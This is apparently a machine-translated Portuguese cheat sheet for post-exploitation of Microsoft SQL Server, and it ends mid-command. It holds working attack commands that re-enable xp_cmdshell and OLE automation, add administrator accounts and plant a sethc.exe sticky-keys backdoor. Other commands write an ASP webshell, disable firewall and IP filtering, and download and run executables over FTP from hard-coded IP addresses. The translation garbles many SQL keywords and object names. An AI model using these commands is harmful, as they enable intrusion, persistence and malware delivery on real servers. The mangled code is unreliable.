Ordens de Reparo de 1433
NET user SQLDebugger list /add NET localgroup administrators SQLDebugger /add
Mensagem de erro: Falhou ao encontrar o procedimento armazenado 'master.. xp_cmdshell'。
Método de reparo: muito geral, na verdade, outros 126 127 podem ser reparados juntos,
Exceto xplog70.dll todo o resto pode ser corrigido com esse comando
xp_cmdshell novos métodos de recuperação Passo 1: Excluir: Procedimento de queda sp_addextendedproc Procedimento de queda sp_oacreate Executivo sp_dropextendedproc 'xp_cmdshell' Servidor: Msg 3701, Nível 11, Estado 5, Linha 1 Não é possível remover o processo 'sp_addextendedproc' porque ele não existe no diretório do sistema. Servidor: Msg 3701, Nível 11, Estado 5, Procedimento sp_dropextendedproc, Linha 18 Não é possível remover o processo 'xp_cmdshell' porque ele não existe no diretório do sistema. Passo 2 Recuperação: DBCC AddExtendedProc ("sp_oacreate","odsole70.dll") DBCC addextendedproc ("xp_cmdshell","xplog70.dll") Recuperação direta, independentemente de sp_addextendedproc existir ou não
xplog70.dll correções:
Mensagem de Erro: A xplog70.dll DLL ou uma das DLLs referenciadas pela DLL não pôde ser montada. Motivo: 126 (O módulo especificado não pode ser encontrado.) )。
Corrigir XPLOG70.DLL (primeiro verifique o diretório de backup \x86\bin com o arquivo, e depois substitua o seguinte diretório)
Passo 1 Executivo sp_dropextendedproc 'xp_cmdshell' Passo 2 DBC AddExtendedProc ("xp_cmdshell","C:\sql2ksp4\x86\binn\xplog70.dll")
Não consegui encontrar o procedimento armazenado 'mestre.. xp_cmdshell'。 Passo 1: criar procedimento sp_addextendedproc --- 30/08/1996 20:13 @functname Nvarchar(517),/* (proprietário.) Nome da função a ser chamada
*/ @dllname varchar(255)/* nome da DLL contendo a função */ como Iniciar implicit_transactions se @@trancount > 0 início raiserror(15002,-1,-1,'sp_addextendedproc') Retorno (1) fim DBCC addextendedproc( @functname, @dllname) retorno (0) -- sp_addextendedproc VAI
Passo 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
O SQL Server bloqueou o acesso ao processo 'sys.xp_cmdshell' do componente 'xp_cmdshell' porque esse componente foi desligado como parte da configuração de segurança desse servidor. Administradores de sistema podem ativar o 'xp_cmdshell' usando sp_configure. Para mais informações sobre como ativar xp_cmdshell, veja Configurador de Aplicativos Periféricos na série SQL Server Online Books.
; EXEC sp_configure 'mostrar opções avançadas', 1 -- ; RECONFIGURAR COM OVERRIDE -- ; EXECUTIVO sp_configure 'xp_cmdshell', 1 -- ; RECONFIGURAR COM OVERRIDE -- ; EXECUTIVO sp_configure 'mostrar opções avançadas', 0 --
Remover armazenamento perigoso em SQL: PROCEDIMENTO DE QUEDA sp_makewebtask Mestre Executivo... sp_dropextendedproc xp_cmdshell Mestre Executivo... sp_dropextendedproc xp_dirtree Mestre Executivo... sp_dropextendedproc xp_fileexist Mestre Executivo... sp_dropextendedproc xp_terminate_process Mestre Executivo... sp_dropextendedproc sp_oamethod Mestre Executivo... sp_dropextendedproc sp_oacreate Mestre Executivo... sp_dropextendedproc xp_regaddmultistring Mestre Executivo... sp_dropextendedproc xp_regdeletekey Mestre Executivo... sp_dropextendedproc xp_regdeletevalue Mestre Executivo... sp_dropextendedproc xp_regenumkeys Mestre Executivo... sp_dropextendedproc xp_regenumvalues Mestre Executivo... sp_dropextendedproc sp_add_job Mestre Executivo... sp_dropextendedproc sp_addtask Mestre Executivo... sp_dropextendedproc xp_regread Mestre Executivo... sp_dropextendedproc xp_regwrite Mestre Executivo... sp_dropextendedproc xp_readwebtask Mestre Executivo... sp_dropextendedproc xp_makewebtask Mestre Executivo... sp_dropextendedproc xp_regremovemultistring Mestre Executivo... sp_dropextendedproc sp_OACreate PROCEDIMENTO DE QUEDA sp_addextendedproc
Restaurar procedimentos armazenados estendidos Restaure o sp_addextendedproc primeiro, a afirmação é a seguinte: Primeiro: criar procedimento sp_addextendedproc --- 30/08/1996 20:13 @functname Nvarchar(517),/* (proprietário.) nome da função para chamar */ @dllname varchar(255)/* nome da DLL contendo a função */ como Iniciar implicit_transactions se @@trancount > 0 início raiserror(15002,-1,-1,'sp_addextendedproc') Retorno (1) fim DBCC addextendedproc( @functname, @dllname) retorno (0) -- sp_addextendedproc VAI
Segundo: Mestre de uso sp_addextendedproc xp_cmdshell executivo, 'xp_cmdshell.dll' sp_addextendedproc xp_dirtree executivo, 'xpstar.dll' Executivo sp_addextendedproc xp_enumgroups, 'xplog70.dll' Executivo sp_addextendedproc xp_fixeddrives, 'xpstar.dll' sp_addextendedproc xp_loginconfig executivo, 'xplog70.dll' sp_addextendedproc xp_enumerrorlogs executivo, 'xpstar.dll' Executivo sp_addextendedproc xp_getfiledetails, 'xpstar.dll' Executivo sp_addextendedproc sp_OACreate, 'odsole70.dll' Executivo sp_addextendedproc sp_OADestroy, 'odsole70.dll' Executivo sp_addextendedproc sp_OAGetErrorInfo, 'odsole70.dll' Executivo sp_addextendedproc sp_OAGetProperty, 'odsole70.dll' Executivo sp_addextendedproc sp_OAMethod, 'odsole70.dll' Executivo sp_addextendedproc sp_OASetProperty, 'odsole70.dll' Executivo sp_addextendedproc sp_OAStop, 'odsole70.dll' Executivo sp_addextendedproc xp_regaddmultistring, 'xpstar.dll' Executivo sp_addextendedproc xp_regdeletekey, 'xpstar.dll' Executivo sp_addextendedproc xp_regdeletevalue, 'xpstar.dll' sp_addextendedproc xp_regenumvalues executivo, 'xpstar.dll' Executivo sp_addextendedproc xp_regread, 'xpstar.dll' Executivo sp_addextendedproc xp_regremovemultistring, 'xpstar.dll' Executivo sp_addextendedproc xp_regwrite, 'xpstar.dll' Executivo sp_addextendedproc xp_availablemedia, 'xpstar.dll'
Exclua a instrução que estende o procedimento armazenado xp_cmdshell: Executivo sp_dropextendedproc 'xp_cmdshell'
Recuperar a instrução sql do cmdshell executivo sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Abra a instrução SQL do cmdshell executivo sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Determinar se existe expansão de armazenamento select count(*) de master.dbo.sysobjects onde xtype='x' e name='xp_cmdshell' O resultado de retorno é 1 e está tudo bem
Restaurar xp_cmdshell mestre executivo.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) de master.dbo.sysobjects onde xtype='x' e name='xp_cmdshell' O resultado de retorno é 1 e está tudo bem Caso contrário, faça upload xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Bloquear a instrução sql do cmdshell sp_dropextendedproc "xp_cmdshell
Um. Mudando o Método da Senha SA: Após se conectar à Ferramenta de Utilização Abrangente do SQL, execute o comando: exec sp_password NULL, 'nova senha', 'sa' (Dica: use com cautela!)
Dois. Basta corrigir a senha fraca.
Método 1: Consultar o divisor após conectar: se existe (selecione * de dbo.sysobjects onde id = object_id(N'[dbo].[ xp_cmdshell]') e OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
executivo sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
VAI Depois, pressione a tecla F5 para executar o comando
Método 2: Consulta após a conexão do divisor O primeiro passo é executar: usar mestre Passo 2: sp_dropextendedproc 'xp_cmdshell' Depois, pressione a tecla F5 para executar o comando
A xpsql70.dll DLL ou uma das DLLs referenciadas pela DLL não podem ser montadas. Razão 126 (O módulo especificado não pode ser encontrado. ) Método de recuperação: Após consultar a conexão do divisor, Passo 1: sp_dropextendedproc "xp_cmdshell" Passo 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
A função xp_cmdshell não pode ser encontrada na biblioteca xpweb70.dll. Motivo: 127 (O programa especificado não pode ser encontrado.) ) Método de recuperação: Após consultar a conexão do divisor, Passo 1 Execução: executivo sp_dropextendedproc 'xp_cmdshell' Passo 2: o executivo sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Depois, pressione a tecla F5 para executar o comando
Se nenhum dos métodos acima for recuperável, tente adicionar a conta diretamente usando os seguintes métodos: Após consultar a conexão do divisor, Sistema 2000servser: declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user web hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP ou Sistema de Servidor 2003: erro 126! Ordem
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell execute sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c NET user Web$ hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ O SQL Server bloqueou o acesso ao processo 'sys.xp_cmdshell' do componente 'xp_cmdshell' porque esse componente foi desligado como parte da configuração de segurança desse servidor. Administradores de sistema podem ativar o 'xp_cmdshell' usando sp_configure. Para mais informações sobre como ativar xp_cmdshell, veja Configurador de Aplicativos Periféricos na série SQL Server Online Books.
Instruções executadas pelo analisador:
EXECUTIVO sp_configure 'mostrar opções avançadas', 1; RECONFIGURAR; EXECUTIVO sp_configure 'xp_cmdshell', 1; RECONFIGURAR;
Às vezes, ao executar as instruções acima com uma conexão de destacador de consulta, o procedimento armazenado não pode ser encontrado sp_addextendedproc
Solução alternativa:
criar procedimento sp_addextendedproc --- 30/08/1996 20:13 @functname Nvarchar(517),/* (proprietário.) nome da função a chamar */ @dllname varchar(255)/* nome da DLL contendo a função */ como Iniciar implicit_transactions se @@trancount > 0 início raiserror(15002,-1,-1,'sp_addextendedproc') Retorno (1) fim DBCC addextendedproc( @functname, @dllname) retorno (0) -- sp_addextendedproc VAI Esse código é colado no divisor de consultas e executado
Explorador:
c:\windows\explorer.exe
Veja o sumário Executivo master.dbo.xp_subdirs 'C:\' Discos de lista Mestre Executivo... xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0 Selecione * do OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Selecione * do OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor Versão 5.00 >3389.reg Eco. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Ativado"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg eco de "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Políticas\Microsoft\Windows\Instalador] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg eco "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg eco "Start"=dword:00000002 >>3389.reg Echo [HKEY_USERS\. PADRÃO\Layout do Teclado\Alternar] >>3389.reg eco de "Atalho"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:0000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:0000D3D >>3389.reg regedit /s 3389.reg
Abrir 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Passe 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections', 'REG_DWORD',1;
Confira a porta 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp', 'NúmeroPorta'
Porta dos fundos CMD normal xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'','debugger','reg_sz','c:\windows\system32\cmd.exe'
win2K vai direto para PS Mar Mestre Executivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1 selecione * do OpenRowSet('microsoft.jet.oledb.4.0','; Database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo tchau>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP diretamente nos cavalos PS Mestre Executivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1 selecione * do OpenRowSet('microsoft.jet.oledb.4.0','; Database=c:\Windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo abrir 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo tchau>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Alterar o comando backdoor declare @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o fora exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';
declare @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o fora exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllCache\sethc.exe';
Cópia C:\Windows\explorer.exe C:\Windows\System32\sethc.exe Copiar c:\Windows\system32\sethc.exe c:\Windows\system32\dllCache\sethc.exe
declare @o int Executivo sp_oacreate 'wscrip remove t.shell', @o encerrado exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX é o comando que você quer executar
Escreva o valor especificado na chave especificada no registro), usando o método (escreva bbb na chave HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
Mestre executivo... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValor',
@type='REG_SZ',
@value='bbb'
@echo abrir 121.22.56.5>c:\bin.txt&@echo lista>>c:\bin.txt&@echo lista>>c:\bin.txt&@echo pegue gzn.exe>>c:\bin.txt&@echo tchau>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Primeiro, copie ftp.exe para o diretório wmpub @echo CD C:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
Aberto 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL escreve uma frase Executivo master.dbo.xp_subdirs 'D:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB")%>''
Promoção do Modo Sandbox SA ----- ---------------------- Mestre Executivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; ------------------------------------------------------- Selecione * do OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Selecione * do OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
TURNO 3389
A frase utilizada: Invasão Mestre executivo... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Depurador', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Recuperação Mestre executivo... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Depurador', @type='REG_SZ', @value=''
Sequestro de imagem
Mestre executivo... xp_regwrite --- isso é edição de registro! @rootkey='HKEY_LOCAL_MACHINE', ---Esta é a posição! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', -----Essa também é a posição! @value_name='Depurador', --- esse é o nome da tabela! @type='REG_SZ', --- aqui está o significado de escrever! @value='C:\WINDOWS\explorer.exe' ---- aqui está o conteúdo escrito!
Todo o processo é para usar o mestre: xp_regwrite esse componente for feito,
1.sql comando para verificar se a tecla fixa do registro foi sequestrada
Mestre Executivo... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql comando sequestra a função da tecla fixa do registro e a substitui pelo gerenciador de tarefas (claro que você pode substituí-la por outros comandos que quiser)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Depurador', 'REG_SZ', 'C:\WINDOWS\system32\taskmgr.exe'
3.sql comando para remover o recurso de sequestro da chave fixa do registro protege seu servidor de ser explorado por terceiros
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opções de Execução de Arquivo de Imagem\sethc.exe'
Arquivos de gravação SQL
declare @o int, @f int, @t int @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o fora exec sp_oamethod @o, 'createtextfile', @f fora, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. NomeComputadorNome' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Criar("usuário","teste")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. DefinaSenha "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Scripts sem escalonamento de rede
struser=wscrip para remover argumentos t.(0) strpass=wscrip para remover argumentos t.(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. Nomedo do Computador Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) OD. SetPassword strpass OD. SetInfo Set of=GetObject(oz&"/" & struser & ",user") oe. Add(of. ADsPath)
Para cada administrador em OE. Membros se struser=admin. Então nomeie Wscrip removeu t.echo struser & "Estabelecido com sucesso!" wscrip para remover o t.quit fim se Próximo
Wscrip remove t.echo struser & "Estabelecimento do usuário falhou!" Salve o que foi dito acima como usuário. VBS Então execute: cscrip para remover a senha do usuário user.vbs
Usando o modo sandbox JET, você pode resolver os problemas causados por procedimentos armazenados, como XP_cmdshell e bibliotecas de links dinâmicos relacionadas. Por razões de segurança, o sistema não ativa o modo sandbox por padrão, o que exige que xp_regwrite ative o modo sandbox:
Executivo master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines', 'SandBoxMode', 'REG_DWORD',1
Depois, execute o comando sandbox para adicionar um teste de usuário com senha 1234 ao sistema:
selecione * do OpenRowSet('microsoft.jet.oledb.4.0','; banco de dados=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c NET User Test 1234 /add")')
selecione * do OpenRowSet('microsoft.jet.oledb.4.0','; banco de dados=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c NET localgroup administradores testam /add")')
Diferentes sistemas operacionais têm caminhos diferentes e precisam ser modificados conforme a situação:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Além disso, no Microsoft SQL Server 2005, alguns procedimentos armazenados são fechados por padrão e requerem comandos para abrir:
Ligue XP_cmdshell:
EXECUTIVO sp_configure 'mostrar opções avançadas', 1; RECONFIGURAR; EXECUTIVO sp_configure 'xp_cmdshell', 1; RECONFIGURAR;
Abra o 'OPENROWSET':
sp_configure executivo 'mostrar opções avançadas', 1; RECONFIGURAR; Executivo sp_configure 'Consultas Distribuídas Ad Hoc',1; RECONFIGURAR;
Ligue 'sp_oacreate':
sp_configure executivo 'mostrar opções avançadas', 1; RECONFIGURAR; Executivo sp_configure 'Procedimentos de Automação Velhos',1; RECONFIGURAR;
Aqui estão algumas situações em que o comando de execução sob sa está errado: 1. A xpsql70.dll DLL ou uma DLL referenciada pela DLL não pode ser carregada. Razão 126 (O módulo especificado não pode ser encontrado. ) Essa situação é relativamente comum, e o reparo é simples e simples, mas existem condições. Se você conseguir listar o diretório nesse caso (com sqltools v2.0 existe uma função de diretório), parabéns por essa situação de 80% pode ser resolvida, se você conseguir listar o diretório, basta encontrar o caminho xplog70.dll e executar o seguinte comando. Passo 1 exec sp_dropextendedproc 'xp_cmdshell' (esse comando é para deletar o cmdshell original, porque ele já deu erro) Passo 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\xplog70.dll") ; EXEC sp_configure 'mostrar opções avançadas', 0 – Claro que este é um comando sql, executado com um analisador de consultas. O c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll no segundo passo é o caminho do xplog70.dll, esse caminho é relativamente comum, se o drive C não tiver, você pode encontrar outras letras do drive. 2. Não é possível encontrar a função xp_cmdshell na biblioteca xpweb70.dll. Motivo: 127 (O programa especificado não pode ser encontrado.) ) Na verdade, isso é o mesmo que o 126 acima, ou seja, o cmdshell está errado, desde que você encontre o backup xplog70.dll siga o método acima para corrigir. 3. Não encontrou o procedimento armazenado 'mestre'. xpcmdshell Neste caso, vejo na internet que o método é: Passo 1: Excluir: Procedimento de queda sp_addextendedproc Procedimento de queda sp_oacreate Executivo sp_dropextendedproc 'xp_cmdshell' Passo 2 Recuperação: DBCC AddExtendedProc ("sp_oacreate","odsole70.dll") DBCC addextendedproc ("xp_cmdshell","xplog70.dll") Na verdade, isso ainda é o mesmo que o acima; na verdade, se você tomar cuidado, o 126 127 acima só falhará em encontrar o procedimento armazenado 'master:. xpcmdshell' porque o primeiro passo é excluir o procedimento armazenado do cmdshell. Então, nesse caso, basta seguir o segundo passo acima. 4. Mensagem de erro: O SQL Server bloqueou o acesso ao processo 'sys.xp_cmdshell' do componente 'xp_cmdshell' porque esse componente foi desligado como parte da configuração de segurança desse servidor. Administradores de sistema podem ativar o 'xp_cmdshell' usando sp_configure. Para mais informações sobre como ativar xp_cmdshell, veja Configurador de Aplicativos Periféricos na série SQL Server Online Books. Essa situação é a mais simples, porque você não precisa pensar em nada, basta executar o seguinte comando ; EXEC sp_configure 'mostrar opções avançadas', 1 -- ; RECONFIGURAR COM OVERRIDE -- ; EXECUTIVO sp_configure 'xp_cmdshell', 1 -- ; RECONFIGURAR COM OVERRIDE -- ; EXEC sp_configure 'mostrar opções avançadas', 0 –
Depois do correto acima, você pode executar o comando cmd e começará a aumentar seu poder. Normalmente verifico o IP primeiro para ver se é uma intranet, depois faço uma consulta REG HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber para verificar a porta do terminal, e então netstat –an para ver se o terminal está aberto e então rede a senha do usuário do usuário / Adicione um usuário e então administre o usuário do grupo local / add Se tudo correr bem, isso derrubará um servidor. Mas há muitos problemas no processo. 1. A promoção líquida de energia é bem-sucedida, mas não pode se conectar ao terminal. Existem as seguintes situações (1) O servidor está na intranet. (2) Triagem TCP/IP. Execute primeiro o seguinte comando cmd: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, exporte a primeira parte do registro para filtragem TCP/IP cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, exporte a segunda parte do registro para filtragem TCP/IP cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", exportando o terceiro lugar no registro sobre filtragem TCP/IP Depois volte para o 1.reg do drive C, 2.reg, 3.reg, baixe o 1.reg, 2.reg 3.reg volte para o seu HD para editar, encontre o campo EnableSecurityFilters para ver se o valor-chave após o dword é 00000000, se for 00000001, significa que o administrador fez o filtro tcp/ip, só precisamos mudar 1 para 0, 2. Reg e 3.reg fazem as mesmas mudanças. (3) Elaborar uma política de segurança de propriedade intelectual. Execute o comando cmd: cmd /c net stop policyagent para parar o serviço de serviços IPSEC. Conecte o terminal novamente. (4) A permissão de login do terminal definida pelo administrador só pode ser usada pelo usuário especificado. (5) Firewall. Execute o comando cmd: net stop alg /ynet stop sharedaccess
2. A escalada da NET aparece e o acesso é recusado Você pode tentar o usuário do usuário net1 com senha /add Se o net1 também negar acesso, pode copiar um backdoor do shfit e tentar executar o comando cmd: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Copiar c:\Windows\system32\sethc.exe c:\Windows\system32\dllCache\sethc.exe Se solicitado, copie 1 arquivo que seja bem-sucedido. Conecte-se ao terminal e pressione shift 5 para ver o que aparece. Jogue com o Kaka Explorer, agora é só adicionar um usuário manualmente. 3. A escalada líquida ocorre com erro de recusa de acesso 5 (destaque) Nesse caso, você não precisa tentar o net1, pode tentar o copy shift backdoor; se o copy pedir para copiar o arquivo 0, isso prova que não foi bem-sucedido. Aí você pode tentar fazer upload, se conseguir, pode enviar diretamente uma ferramenta de escalonamento de energia que não seja rede e que saiu há algum tempo, e então adicionar um usuário. Mas a maioria desses casos não pode ser enviada, então você precisa pensar a respeito. Como o cmd pode ser executado, o arquivo pode ser baixado via cmd em ftp, mas a premissa do ftp é poder escrever texto ou processamento em lote. Depois, você pode escrever um texto ou lote através de uma instrução SQL. declare @o int, @f int, @t int @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o fora Exec sp_oamethod @o, 'createtextfile', @f fora, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'conta ftp' exec @ret = sp_oamethod @f, 'writeline', NULL, 'senha ftp' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (sem script de escalonamento net) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye' Após a execução bem-sucedida do analisador de consultas, uma 1.bat aparecerá no drive C (se a execução for bem-sucedida, mas o drive C não estiver lá, você pode mudar a pasta para escrever, pois o diretório raiz do drive C do servidor impede a gravação) Então o cmd executa o ftp -s:c:\1.bat Após a execução, você baixará um script de escalonamento não rede no FTP do drive CFT ou escreverá um script de escalonamento VBS diretamente declare @o int, @f int, @t int @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o fora exec sp_oamethod @o, 'createtextfile', @f fora, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Então o cmd executa o cscrip para remover t c:\1.vbs 4. O anterior é reparado para executar comandos cmd, mas após alguns reparos, novos problemas surgem (1) Mensagem: Ocorreu um erro durante a execução de xp_cmdshell. Chame 'CreateProcess' falhou com código de erro: '5'. Erro 5 é um número de erro solicitado pelo sistema, CreateProcess é o significado de criar uma thread, essa geração de erro tem muito a ver com a cmd.exe dos arquivos do sistema, um é que o cmd foi deletado, o outro é que a permissão do cmd foi reduzida. SQL para verificar portas de terminal e status de abertura: Mestre Executivo... xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp', 'NúmeroPorta' Ok, o ponto-chave abaixo é usar duas instruções SQL para copiar o arquivo do explorador do sistema no arquivo shift backdoor do sistema, e as duas instruções seguintes são executadas separadamente. Esta declaração copia explorer.exe como sethc.exe Declare @o Int Executive sp_oacreate 'scripremove ting.filesystemobject', @o nosso exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Esta instrução copia sethc.exe para o diretório dllcache Declare @oo Int Exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\system32\dllcache\ sethc.exe'; As outras duas instruções usam sp_oacreate procedimentos armazenados que precisam usar odsole70.dll arquivo, então a sobrevivência desse arquivo está relacionada ao sucesso de sua criação. (2), xpsql.cpp: Erro 5 do CreateProcess (linha 737) Essa situação é mais complicada, e isso é dito na Internet EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 